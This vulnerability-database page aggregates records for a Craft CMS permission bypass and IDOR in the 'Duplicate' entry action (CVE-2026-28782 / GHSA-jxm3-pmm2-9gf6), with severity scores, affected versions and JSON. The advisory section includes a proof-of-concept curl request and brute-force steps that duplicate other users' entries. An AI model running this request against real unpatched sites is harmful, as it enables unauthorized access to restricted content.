Vulnerability-Lookup

CVE-2026-28782 (GCVE-0-2026-28782)

Vulnerability from cvelistv5 – Published: 2026-03-04 16:36 – Updated: 2026-03-04 17:35

Title

Craft has a Permission Bypass and IDOR in Duplicate Entry Action

Summary

Craft is a content management system (CMS). Prior to 5.9.0-beta.1 and 4.17.0-beta.1, the "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.

Severity ?

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M

References

URL

Tags

	https://github.com/craftcms/cms/security/advisori…	x_refsource_CONFIRM
	https://github.com/craftcms/cms/commit/fb61a91357…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	craftcms	cms	Affected: >= 5.0.0-RC1, < 5.9.0-beta.1 Affected: >= 4.0.0-RC1, < 4.17.0-beta.1

Show details on NVD website

JSON

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FKIE_CVE-2026-28782

Vulnerability from fkie_nvd - Published: 2026-03-04 17:16 - Updated: 2026-03-05 19:55

Severity ?

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d	Patch
	security-advisories@github.com	https://github.com/craftcms/cms/security/advisories/GHSA-jxm3-pmm2-9gf6	Exploit, Patch, Vendor Advisory

Impacted products

Vendor	Product	Version
craftcms	craft_cms	*
craftcms	craft_cms	*
craftcms	craft_cms	4.0.0
craftcms	craft_cms	4.0.0
craftcms	craft_cms	4.0.0
craftcms	craft_cms	4.0.0
craftcms	craft_cms	5.0.0
craftcms	craft_cms	5.0.0

JSON

To clipboard

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  },
  "published": "2026-03-04T17:16:21.533",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-jxm3-pmm2-9gf6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-JXM3-PMM2-9GF6

Vulnerability from github – Published: 2026-03-03 21:05 – Updated: 2026-03-04 18:39

Summary

Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action

Details

Description

The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.

Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.

Proof of Concept

Prerequisites

A user with "View Entries" permission on any section.

Steps to Reproduce

Log in as a user with minimal permissions ("View Entries").
Identify the target Entry ID (e.g., via brute-force 1 to N).
Send the following cURL request:

Replace craft.local, <Cookie>, <CSRF> and 6393 (which is the entry ID): bash curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action'
Observe that a new entry is created with the attacker as the owner, granting full access to the content.

Resources

https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d

Severity ?

5.7 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:05:12Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Description\nThe \"Duplicate\" entry action does not properly verify if the user has permission to perform this action on the specific target elements.\nEven with only \"View Entries\" permission (where the \"Duplicate\" action is restricted in the UI), a user can bypass this restriction by sending a direct request.\n\nFurthermore, this vulnerability allows duplicating **other users\u0027 entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.\n\n## Proof of Concept\n### Prerequisites\n- A user with \"View Entries\" permission on any section.\n\n### Steps to Reproduce\n1. Log in as a user with minimal permissions (\"View Entries\").\n1. Identify the target Entry ID (e.g., via brute-force `1` to `N`).\n1. Send the following cURL request:\n   \u003e Replace `craft.local`, `\u003cCookie\u003e`, `\u003cCSRF\u003e` and `6393` (which is the entry ID):\n   ```bash\n   curl --path-as-is -i -s -k -X $\u0027POST\u0027 -H $\u0027User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0\u0027 -H $\u0027Accept: application/json\u0027 -H $\u0027Content-Type: application/json\u0027 -H $\u0027X-CSRF-Token: \u003cCSRF\u003e\u0027 -H $\u0027Content-Length: 216\u0027 -b $\u0027\u003cCookie\u003e\u0027 --data-binary $\u0027{\\\"context\\\":\\\"index\\\",\\\"elementType\\\":\\\"craft\\\\\\\\elements\\\\\\\\Entry\\\",\\\"source\\\":\\\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\\\",\\\"viewState\\\":{\\\"static\\\":true},\\\"elementAction\\\":\\\"craft\\\\\\\\elements\\\\\\\\actions\\\\\\\\Duplicate\\\",\\\"elementIds\\\":[6393]}\u0027 $\u0027http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action\u0027\n   ```\n1. Observe that a new entry is created with the attacker as the owner, granting full access to the content.\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d",
  "id": "GHSA-jxm3-pmm2-9gf6",
  "modified": "2026-03-04T18:39:08Z",
  "published": "2026-03-03T21:05:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-jxm3-pmm2-9gf6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28782"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-28782 (GCVE-0-2026-28782)

FKIE_CVE-2026-28782

GHSA-JXM3-PMM2-9GF6

Description

Proof of Concept

Prerequisites

Steps to Reproduce

Resources

Tags

Sightings

Nomenclature